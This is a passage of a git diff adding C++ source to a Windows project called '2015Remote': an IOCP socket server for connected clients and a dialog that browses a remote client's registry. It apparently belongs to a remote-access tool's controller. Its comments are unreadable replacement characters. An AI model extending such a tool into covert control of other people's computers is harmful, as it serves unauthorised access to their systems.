//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊÿһ<C3BF><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ź<EFBFBD>ά<EFBFBD><CEAC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>֮<EFBFBD><D6AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽṹ<DDBD><E1B9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>±<EFBFBD><C2B1><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
PCONTEXT_OBJECT ContextObject = AllocateContext(); // Context
|
||||||
|
|
||||||
|
if (ContextObject == NULL)
|
||||||
|
{
|
||||||
|
closesocket(sClientSocket);
|
||||||
|
sClientSocket = INVALID_SOCKET;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
ContextObject->sClientSocket = sClientSocket;
|
||||||
|
|
||||||
|
ContextObject->wsaInBuf.buf = (char*)ContextObject->szBuffer;
|
||||||
|
ContextObject->wsaInBuf.len = sizeof(ContextObject->szBuffer);
|
||||||
|
|
||||||
|
HANDLE Handle = CreateIoCompletionPort((HANDLE)sClientSocket, m_hCompletionPort, (DWORD)ContextObject, 0);
|
||||||
|
|
||||||
|
if (Handle!=m_hCompletionPort)
|
||||||
|
{
|
||||||
|
delete ContextObject;
|
||||||
|
ContextObject = NULL;
|
||||||
|
|
||||||
|
if (sClientSocket!=INVALID_SOCKET)
|
||||||
|
{
|
||||||
|
closesocket(sClientSocket);
|
||||||
|
sClientSocket = INVALID_SOCKET;
|
||||||
|
}
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD>ֵ<EFBFBD>ѡ<EFBFBD> Set KeepAlive <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> SO_KEEPALIVE
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD><D3BC><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>2Сʱ<D0A1><CAB1><EFBFBD>ڴ<EFBFBD><DAB4>ӿڵ<D3BF><DAB5><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>ݽ<EFBFBD><DDBD><EFBFBD><EFBFBD><EFBFBD>TCP<43><50><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD>Է<EFBFBD> <20><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD>
|
||||||
|
m_ulKeepLiveTime = 3;
|
||||||
|
const BOOL bKeepAlive = TRUE;
|
||||||
|
setsockopt(ContextObject->sClientSocket,SOL_SOCKET,SO_KEEPALIVE,(char*)&bKeepAlive,sizeof(bKeepAlive));
|
||||||
|
|
||||||
|
//<2F><><EFBFBD>ó<EFBFBD>ʱ<EFBFBD><CAB1>ϸ<EFBFBD><CFB8>Ϣ
|
||||||
|
tcp_keepalive KeepAlive;
|
||||||
|
KeepAlive.onoff = 1; // <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD>
|
||||||
|
KeepAlive.keepalivetime = m_ulKeepLiveTime; //<2F><><EFBFBD><EFBFBD>3<EFBFBD><33><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3>ͷ<EFBFBD><CDB7><EFBFBD>̽<EFBFBD><CCBD><EFBFBD><EFBFBD>
|
||||||
|
KeepAlive.keepaliveinterval = 1000 * 10; //<2F><><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>Ϊ10<31><30> Resend if No-Reply
|
||||||
|
WSAIoctl(ContextObject->sClientSocket, SIO_KEEPALIVE_VALS,&KeepAlive,sizeof(KeepAlive),
|
||||||
|
NULL,0,(unsigned long *)&bKeepAlive,0,NULL);
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><DFBB>ϵ<EFBFBD><CFB5>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ͽ<EFBFBD><CFBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>SO_KEEPALIVEѡ<45>
|
||||||
|
//<2F><><EFBFBD><EFBFBD>һֱ<D2BB><D6B1><EFBFBD>ر<EFBFBD>SOCKET<45><54><EFBFBD><EFBFBD>Ϊ<EFBFBD>ϵĵ<CFB5><C4B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Сʱʱ<CAB1><CAB1>̫<EFBFBD><CCAB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ǿ<EFBFBD><C7BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ
|
||||||
|
|
||||||
|
CLock cs(m_cs);
|
||||||
|
m_ContextConnectionList.AddTail(ContextObject); //<2F><><EFBFBD>뵽<EFBFBD><EBB5BD><EFBFBD>ǵ<EFBFBD><C7B5>ڴ<EFBFBD><DAB4>б<EFBFBD><D0B1><EFBFBD>
|
||||||
|
|
||||||
|
OVERLAPPEDPLUS *OverlappedPlus = new OVERLAPPEDPLUS(IOInitialize); //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ص<EFBFBD>IO<49><4F><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
BOOL bOk = PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD)ContextObject, &OverlappedPlus->m_ol); // <20><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
|
||||||
|
//<2F><>Ϊ<EFBFBD><CEAA><EFBFBD>ǽ<EFBFBD><C7BD>ܵ<EFBFBD><DCB5><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD>ߵ<EFBFBD><DFB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD>Ǿͽ<C7BE><CDBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><CDB8><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD>ɶ˿<C9B6> <20><><EFBFBD><EFBFBD><EFBFBD>ǵĹ<C7B5><C4B9><EFBFBD><EFBFBD>̴߳<DFB3><CCB4><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if ( (!bOk && GetLastError() != ERROR_IO_PENDING)) //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7>
|
||||||
|
{
|
||||||
|
RemoveStaleContext(ContextObject);
|
||||||
|
SAFE_DELETE(OverlappedPlus);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
PostRecv(ContextObject);
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID IOCPServer::PostRecv(CONTEXT_OBJECT* ContextObject)
|
||||||
|
{
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>ǵĸ<C7B5><C4B8><EFBFBD><EFBFBD>ߵ<EFBFBD><DFB5>û<EFBFBD><C3BB><EFBFBD>Ͷ<EFBFBD><CDB6>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ĵ<EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD>;<EFBFBD><CDBE>DZ<EFBFBD><C7B1>ض˵ĵ<CBB5>½<EFBFBD><C2BD><EFBFBD><EFBFBD><F3B5BDB4><EFBFBD><EFBFBD>ǵĹ<C7B5><C4B9><EFBFBD><EFBFBD>߳̾<DFB3>
|
||||||
|
// <20><><EFBFBD><EFBFBD>Ӧ,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ProcessIOMessage<67><65><EFBFBD><EFBFBD>
|
||||||
|
OVERLAPPEDPLUS * OverlappedPlus = new OVERLAPPEDPLUS(IORead);
|
||||||
|
|
||||||
|
DWORD dwReturn;
|
||||||
|
ULONG ulFlags = MSG_PARTIAL;
|
||||||
|
int iOk = WSARecv(ContextObject->sClientSocket, &ContextObject->wsaInBuf,
|
||||||
|
1,&dwReturn, &ulFlags,&OverlappedPlus->m_ol, NULL);
|
||||||
|
|
||||||
|
if ( iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING)
|
||||||
|
{
|
||||||
|
int a = GetLastError();
|
||||||
|
RemoveStaleContext(ContextObject);
|
||||||
|
SAFE_DELETE(OverlappedPlus);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
PCONTEXT_OBJECT IOCPServer::AllocateContext()
|
||||||
|
{
|
||||||
|
PCONTEXT_OBJECT ContextObject = NULL;
|
||||||
|
|
||||||
|
CLock cs(m_cs);
|
||||||
|
|
||||||
|
if (m_ContextFreePoolList.IsEmpty()==FALSE)
|
||||||
|
{
|
||||||
|
ContextObject = m_ContextFreePoolList.RemoveHead();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
ContextObject = new CONTEXT_OBJECT;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ContextObject != NULL)
|
||||||
|
{
|
||||||
|
ContextObject->InitMember();
|
||||||
|
}
|
||||||
|
return ContextObject;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID IOCPServer::RemoveStaleContext(CONTEXT_OBJECT* ContextObject)
|
||||||
|
{
|
||||||
|
CLock cs(m_cs);
|
||||||
|
if (m_ContextConnectionList.Find(ContextObject)) //<2F><><EFBFBD>ڴ<EFBFBD><DAB4>в<EFBFBD><D0B2>Ҹ<EFBFBD><D2B8>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽṹ
|
||||||
|
{
|
||||||
|
m_OfflineProc(ContextObject);
|
||||||
|
|
||||||
|
CancelIo((HANDLE)ContextObject->sClientSocket); //ȡ<><C8A1><EFBFBD>ڵ<EFBFBD>ǰ<EFBFBD><EFBFBD><D7BD>ֵ<EFBFBD><D6B5>첽IO -->PostRecv
|
||||||
|
closesocket(ContextObject->sClientSocket); //<2F>ر<EFBFBD><D8B1><EFBFBD><D7BD><EFBFBD>
|
||||||
|
ContextObject->sClientSocket = INVALID_SOCKET;
|
||||||
|
|
||||||
|
while (!HasOverlappedIoCompleted((LPOVERLAPPED)ContextObject)) //<2F>жϻ<D0B6><CFBB><EFBFBD>û<EFBFBD><C3BB><EFBFBD>첽IO<49><4F><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD>ǰ<EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
{
|
||||||
|
Sleep(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
MoveContextToFreePoolList(ContextObject); //<2F><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4>ṹ<EFBFBD><E1B9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD>
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID IOCPServer::MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject)
|
||||||
|
{
|
||||||
|
CLock cs(m_cs);
|
||||||
|
|
||||||
|
POSITION Pos = m_ContextConnectionList.Find(ContextObject);
|
||||||
|
if (Pos)
|
||||||
|
{
|
||||||
|
ContextObject->InCompressedBuffer.ClearBuffer();
|
||||||
|
ContextObject->InDeCompressedBuffer.ClearBuffer();
|
||||||
|
ContextObject->OutCompressedBuffer.ClearBuffer();
|
||||||
|
|
||||||
|
memset(ContextObject->szBuffer,0,8192);
|
||||||
|
m_ContextFreePoolList.AddTail(ContextObject); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD>
|
||||||
|
m_ContextConnectionList.RemoveAt(Pos); //<2F><><EFBFBD>ڴ<EFBFBD><DAB4>ṹ<EFBFBD><E1B9B9><EFBFBD>Ƴ<EFBFBD>
|
||||||
|
}
|
||||||
|
}
|
||||||
151
server/2015Remote/IOCPServer.h
Normal file
151
server/2015Remote/IOCPServer.h
Normal file
@@ -0,0 +1,151 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <WinSock2.h>
|
||||||
|
#pragma comment(lib,"ws2_32.lib")
|
||||||
|
#include "CpuUseage.h"
|
||||||
|
#include "Buffer.h"
|
||||||
|
|
||||||
|
#include <Mstcpip.h>
|
||||||
|
#define PACKET_LENGTH 0x2000
|
||||||
|
|
||||||
|
#define FLAG_LENGTH 5
|
||||||
|
#define HDR_LENGTH 13
|
||||||
|
|
||||||
|
#define NC_CLIENT_CONNECT 0x0001
|
||||||
|
#define NC_RECEIVE 0x0004
|
||||||
|
#define NC_RECEIVE_COMPLETE 0x0005 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
enum IOType
|
||||||
|
{
|
||||||
|
IOInitialize,
|
||||||
|
IORead,
|
||||||
|
IOWrite,
|
||||||
|
IOIdle
|
||||||
|
};
|
||||||
|
|
||||||
|
typedef struct _CONTEXT_OBJECT
|
||||||
|
{
|
||||||
|
SOCKET sClientSocket;
|
||||||
|
WSABUF wsaInBuf;
|
||||||
|
WSABUF wsaOutBuffer;
|
||||||
|
char szBuffer[PACKET_LENGTH];
|
||||||
|
CBuffer InCompressedBuffer; // <20><><EFBFBD>յ<EFBFBD><D5B5><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
CBuffer InDeCompressedBuffer; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
CBuffer OutCompressedBuffer;
|
||||||
|
int v1;
|
||||||
|
HANDLE hDlg;
|
||||||
|
|
||||||
|
VOID InitMember()
|
||||||
|
{
|
||||||
|
memset(szBuffer,0,sizeof(char)*PACKET_LENGTH);
|
||||||
|
v1 = 0;
|
||||||
|
hDlg = NULL;
|
||||||
|
sClientSocket = INVALID_SOCKET;
|
||||||
|
memset(&wsaInBuf,0,sizeof(WSABUF));
|
||||||
|
memset(&wsaOutBuffer,0,sizeof(WSABUF));
|
||||||
|
}
|
||||||
|
}CONTEXT_OBJECT,*PCONTEXT_OBJECT;
|
||||||
|
|
||||||
|
typedef CList<PCONTEXT_OBJECT> ContextObjectList;
|
||||||
|
|
||||||
|
class IOCPServer
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
SOCKET m_sListenSocket;
|
||||||
|
HANDLE m_hCompletionPort;
|
||||||
|
UINT m_ulMaxConnections; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
HANDLE m_hListenEvent;
|
||||||
|
HANDLE m_hListenThread;
|
||||||
|
BOOL m_bTimeToKill;
|
||||||
|
HANDLE m_hKillEvent;
|
||||||
|
|
||||||
|
ULONG m_ulThreadPoolMin;
|
||||||
|
ULONG m_ulThreadPoolMax;
|
||||||
|
ULONG m_ulCPULowThreadsHold;
|
||||||
|
ULONG m_ulCPUHighThreadsHold;
|
||||||
|
ULONG m_ulCurrentThread;
|
||||||
|
ULONG m_ulBusyThread;
|
||||||
|
|
||||||
|
CCpuUsage m_cpu;
|
||||||
|
|
||||||
|
ULONG m_ulKeepLiveTime;
|
||||||
|
|
||||||
|
char m_szPacketFlag[FLAG_LENGTH];
|
||||||
|
|
||||||
|
typedef void (CALLBACK *pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
|
||||||
|
typedef void (CALLBACK *pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
|
||||||
|
BOOL StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort);
|
||||||
|
|
||||||
|
static DWORD WINAPI ListenThreadProc(LPVOID lParam);
|
||||||
|
BOOL IOCPServer::InitializeIOCP(VOID);
|
||||||
|
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||||
|
ULONG m_ulWorkThreadCount;
|
||||||
|
VOID IOCPServer::OnAccept();
|
||||||
|
static CRITICAL_SECTION m_cs;
|
||||||
|
|
||||||
|
/************************************************************************/
|
||||||
|
//<2F><><EFBFBD>±<EFBFBD><C2B1><EFBFBD><EFBFBD>Ķ<EFBFBD><C4B6><EFBFBD>
|
||||||
|
ContextObjectList m_ContextConnectionList;
|
||||||
|
ContextObjectList m_ContextFreePoolList;
|
||||||
|
PCONTEXT_OBJECT IOCPServer::AllocateContext();
|
||||||
|
VOID RemoveStaleContext(CONTEXT_OBJECT* ContextObject);
|
||||||
|
VOID IOCPServer::MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject);
|
||||||
|
|
||||||
|
VOID IOCPServer::PostRecv(CONTEXT_OBJECT* ContextObject);
|
||||||
|
|
||||||
|
/************************************************************************/
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
||||||
|
BOOL IOCPServer::OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
||||||
|
BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
||||||
|
VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer , ULONG ulOriginalLength);
|
||||||
|
BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompressedLength);
|
||||||
|
IOCPServer(void);
|
||||||
|
~IOCPServer(void);
|
||||||
|
|
||||||
|
pfnNotifyProc m_NotifyProc;
|
||||||
|
pfnOfflineProc m_OfflineProc;
|
||||||
|
};
|
||||||
|
|
||||||
|
class CLock
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CLock(CRITICAL_SECTION& cs)
|
||||||
|
{
|
||||||
|
m_cs = &cs;
|
||||||
|
Lock();
|
||||||
|
}
|
||||||
|
~CLock()
|
||||||
|
{
|
||||||
|
Unlock();
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
void Unlock()
|
||||||
|
{
|
||||||
|
LeaveCriticalSection(m_cs);
|
||||||
|
}
|
||||||
|
|
||||||
|
void Lock()
|
||||||
|
{
|
||||||
|
EnterCriticalSection(m_cs);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected:
|
||||||
|
CRITICAL_SECTION* m_cs;
|
||||||
|
};
|
||||||
|
|
||||||
|
|
||||||
|
class OVERLAPPEDPLUS
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
|
||||||
|
OVERLAPPED m_ol;
|
||||||
|
IOType m_ioType;
|
||||||
|
|
||||||
|
OVERLAPPEDPLUS(IOType ioType)
|
||||||
|
{
|
||||||
|
ZeroMemory(this, sizeof(OVERLAPPEDPLUS));
|
||||||
|
m_ioType = ioType;
|
||||||
|
}
|
||||||
|
};
|
||||||
306
server/2015Remote/RegisterDlg.cpp
Normal file
306
server/2015Remote/RegisterDlg.cpp
Normal file
@@ -0,0 +1,306 @@
|
|||||||
|
// RegisterDlg.cpp : ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
|
||||||
|
//
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "2015Remote.h"
|
||||||
|
#include "RegisterDlg.h"
|
||||||
|
#include "afxdialogex.h"
|
||||||
|
|
||||||
|
|
||||||
|
enum MYKEY{
|
||||||
|
MHKEY_CLASSES_ROOT,
|
||||||
|
MHKEY_CURRENT_USER,
|
||||||
|
MHKEY_LOCAL_MACHINE,
|
||||||
|
MHKEY_USERS,
|
||||||
|
MHKEY_CURRENT_CONFIG
|
||||||
|
};
|
||||||
|
enum KEYVALUE{
|
||||||
|
MREG_SZ,
|
||||||
|
MREG_DWORD,
|
||||||
|
MREG_BINARY,
|
||||||
|
MREG_EXPAND_SZ
|
||||||
|
};
|
||||||
|
|
||||||
|
// CRegisterDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||||
|
|
||||||
|
IMPLEMENT_DYNAMIC(CRegisterDlg, CDialog)
|
||||||
|
|
||||||
|
|
||||||
|
CRegisterDlg::CRegisterDlg(CWnd* pParent,IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||||
|
: CDialog(CRegisterDlg::IDD, pParent)
|
||||||
|
{
|
||||||
|
m_iocpServer = IOCPServer;
|
||||||
|
m_ContextObject = ContextObject;
|
||||||
|
}
|
||||||
|
|
||||||
|
CRegisterDlg::~CRegisterDlg()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
void CRegisterDlg::DoDataExchange(CDataExchange* pDX)
|
||||||
|
{
|
||||||
|
CDialog::DoDataExchange(pDX);
|
||||||
|
DDX_Control(pDX, IDC_TREE, m_Tree);
|
||||||
|
DDX_Control(pDX, IDC_LIST, m_ControlList);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
BEGIN_MESSAGE_MAP(CRegisterDlg, CDialog)
|
||||||
|
ON_WM_CLOSE()
|
||||||
|
ON_NOTIFY(TVN_SELCHANGED, IDC_TREE, &CRegisterDlg::OnTvnSelchangedTree)
|
||||||
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
|
// CRegisterDlg <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
|
||||||
|
BOOL CRegisterDlg::OnInitDialog()
|
||||||
|
{
|
||||||
|
CDialog::OnInitDialog();
|
||||||
|
|
||||||
|
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>Ӷ<EFBFBD><D3B6><EFBFBD><EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC>
|
||||||
|
|
||||||
|
m_ImageListTree.Create(18, 18, ILC_COLOR16,10, 0); //<2F><><EFBFBD><EFBFBD> <20><><EFBFBD>ؼ<EFBFBD><D8BC>ϵ<EFBFBD>ͼ<EFBFBD><CDBC>
|
||||||
|
|
||||||
|
m_hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_ICON_FATHER), IMAGE_ICON, 18, 18, 0);
|
||||||
|
m_ImageListTree.Add(m_hIcon);
|
||||||
|
m_hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_ICON_DIR), IMAGE_ICON, 18, 18, 0);
|
||||||
|
m_ImageListTree.Add(m_hIcon);
|
||||||
|
|
||||||
|
m_Tree.SetImageList(&m_ImageListTree,TVSIL_NORMAL);
|
||||||
|
|
||||||
|
m_hRoot = m_Tree.InsertItem("ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>",0,0,0,0); //0
|
||||||
|
HKCU = m_Tree.InsertItem("HKEY_CURRENT_USER",1,1,m_hRoot,0); //1
|
||||||
|
HKLM = m_Tree.InsertItem("HKEY_LOCAL_MACHINE",1,1,m_hRoot,0);
|
||||||
|
HKUS = m_Tree.InsertItem("HKEY_USERS",1,1,m_hRoot,0);
|
||||||
|
HKCC = m_Tree.InsertItem("HKEY_CURRENT_CONFIG",1,1,m_hRoot,0);
|
||||||
|
HKCR = m_Tree.InsertItem("HKEY_CLASSES_ROOT",1,1,m_hRoot,0);
|
||||||
|
|
||||||
|
m_Tree.Expand(m_hRoot,TVE_EXPAND);
|
||||||
|
|
||||||
|
m_ControlList.InsertColumn(0,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>",LVCFMT_LEFT,150,-1);
|
||||||
|
m_ControlList.InsertColumn(1,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>",LVCFMT_LEFT,60,-1);
|
||||||
|
m_ControlList.InsertColumn(2,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>",LVCFMT_LEFT,300,-1);
|
||||||
|
m_ControlList.SetExtendedStyle(LVS_EX_FULLROWSELECT);
|
||||||
|
//////<2F><><EFBFBD><EFBFBD>ͼ<EFBFBD><CDBC>//////
|
||||||
|
m_ImageListControlList.Create(16,16,TRUE,2,2);
|
||||||
|
m_ImageListControlList.Add(AfxGetApp()->LoadIcon(IDI_ICON_STRING));
|
||||||
|
m_ImageListControlList.Add(AfxGetApp()->LoadIcon(IDI_ICON_DWORD));
|
||||||
|
m_ControlList.SetImageList(&m_ImageListControlList,LVSIL_SMALL);
|
||||||
|
|
||||||
|
m_isEnable = TRUE; //<2F><>ֵ<EFBFBD><D6B5>Ϊ<EFBFBD>˽<EFBFBD><CBBD><EFBFBD>Ƶ<EFBFBD><C6B5> <20>ض<F2B1BBBF><D8B6><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
return TRUE; // return TRUE unless you set the focus to a control
|
||||||
|
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CRegisterDlg::OnClose()
|
||||||
|
{
|
||||||
|
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
|
||||||
|
m_ContextObject->v1 = 0;
|
||||||
|
CancelIo((HANDLE)m_ContextObject->sClientSocket);
|
||||||
|
closesocket(m_ContextObject->sClientSocket);
|
||||||
|
CDialog::OnClose();
|
||||||
|
delete this;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CRegisterDlg::OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult)
|
||||||
|
{
|
||||||
|
LPNMTREEVIEW pNMTreeView = reinterpret_cast<LPNMTREEVIEW>(pNMHDR);
|
||||||
|
|
||||||
|
if(!m_isEnable)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
m_isEnable=FALSE;;
|
||||||
|
|
||||||
|
TVITEM Item = pNMTreeView->itemNew;
|
||||||
|
|
||||||
|
if(Item.hItem == m_hRoot)
|
||||||
|
{
|
||||||
|
m_isEnable=TRUE;;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_hSelectedItem=Item.hItem; //<2F><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><F2BFAAB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD><DAB5><EFBFBD><EFBFBD><EFBFBD> //0 1 2 2 3
|
||||||
|
m_ControlList.DeleteAllItems();
|
||||||
|
|
||||||
|
CString strFullPath=GetFullPath(m_hSelectedItem); //<2F><><EFBFBD>ü<EFBFBD>ֵ·<D6B5><C2B7>
|
||||||
|
|
||||||
|
char bToken=GetFatherPath(strFullPath); //[2] \1\2\3
|
||||||
|
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>
|
||||||
|
int nitem=m_ControlList.InsertItem(0,"(Ĭ<><C4AC>)",0);
|
||||||
|
m_ControlList.SetItemText(nitem,1,"REG_SZ");
|
||||||
|
